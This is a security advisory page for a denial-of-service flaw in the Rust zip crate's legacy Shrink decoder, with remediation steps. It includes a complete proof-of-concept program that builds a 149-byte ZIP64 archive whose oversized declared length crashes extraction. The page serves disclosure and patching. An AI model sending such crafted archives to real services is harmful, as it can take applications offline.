high · 7.5 Patched

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

CVE-2026-115907 · GHSA-9hj8-73fh-9963 · published 29 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-115907?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • zip (crates.io) >= 5.1.0, < 9.0.0

How to check

  1. Run cargo tree -i zip in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade zip to 9.0.0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary A malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process. ### Details When reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size: ```rust if !self.stream_read { self.stream_read = true; let mut compressed_bytes = Vec::new(); self.compressed_reader.read_to_end(&mut compressed_bytes)?; self.stream.reserve(self.uncompressed_size as usize); hwunshrink( &compressed_bytes, self.uncompressed_size as usize, &mut self.stream, )?; } ``` In version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled. `self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data. The reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`. The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path. ### PoC Create a new Cargo project with the following layout: ```text zip2-legacy-poc/ |-- Cargo.toml `-- src/ `-- main.rs ``` Use this `Cargo.toml`: ```toml [package] name = "zip2-legacy-poc" version = "0.1.0" edition = "2024" publish = false [dependencies] tempfile = "3" zip = { version = "=8.6.0", features = ["legacy-zip"] } ``` Use this `src/main.rs`: ```rust use std::fs::File; use std::io::{Cursor, Write}; fn push16(out: &mut Vec<u8>, value: u16) { out.extend_from_slice(&value.to_le_bytes()); } fn push32(out: &mut Vec<u8>, value: u32) { out.extend_from_slice(&value.to_le_bytes()); } fn push64(out: &mut Vec<u8>, value: u64) { out.extend_from_slice(&value.to_le_bytes()); } fn zip64_extra() -> Vec<u8> { let mut extra = Vec::new(); push16(&mut extra, 0x0001); push16(&mut extra, 16); push64(&mut extra, u64::MAX); push64(&mut extra, 1); extra } fn archive() -> Vec<u8> { let name = b"entry"; let extra = zip64_extra(); let mut out = Vec::new(); push32(&mut out, 0x0403_4b50); push16(&mut out, 45); push16(&mut out, 0); push16(&mut out, 1); // Shrink compression. push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, u32::MAX); push32(&mut out, u32::MAX); push16(&mut out, name.len() as u16); push16(&mut out, extra.len() as u16); out.extend_from_slice(name); out.extend_from_slice(&extra); out.push(0); let central_start = out.len() as u32; push32(&mut out, 0x0201_4b50); push16(&mut out, 45); push16(&mut out, 45); push16(&mut out, 0); push16(&mut out, 1); // Shrink compression. push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, u32::MAX); push32(&mut out, u32::MAX); push16(&mut out, name.len() as u16); push16(&mut out, extra.len() as u16); push16(&mut out, 0); push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, 0); out.extend_from_slice(name); out.extend_from_slice(&extra); let central_size = out.len() as u32 - central_start; push32(&mut out, 0x0605_4b50); push16(&mut out, 0); push16(&mut out, 0); push16(&mut out, 1); push16(&mut out, 1); push32(&mut out, central_size); push32(&mut out, central_start); push16(&mut out, 0); out } fn main() -> Result<(), Box<dyn std::error::Error>> { let bytes = archive(); File::create("poc.zip")?.write_all(&bytes)?; let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?; let entry = archive.by_index(0)?; println!( "method={:?} declared_size={}", entry.compression(), entry.size() ); drop(entry); let output = tempfile::tempdir()?; archive.extract(output.path())?; Ok(()) } ``` Run the reproducer in release mode: ```sh cd zip2-legacy-poc RUST_BACKTRACE=1 cargo run --release ``` Observed output with `zip` 8.6.0 on `x86_64-unknown-linux-gnu`: ```text method=Shrink declared_size=18446744073709551615 thread 'main' panicked at .../alloc/src/raw_vec/mod.rs: capacity overflow ``` The backtrace reaches the Shrink decompressor through `std::io::copy` and `ZipArchive::extract_internal()`. The process exits with status 101. The program also writes the generated 149-byte archive to `poc.zip` before triggering extraction. ### Impact Applications that enable `legacy-zip` and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service. - `zip::read::ZipArchive::extract`

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database. Last updated 30 Oct 2026. All vulnerabilities · RSS · JSON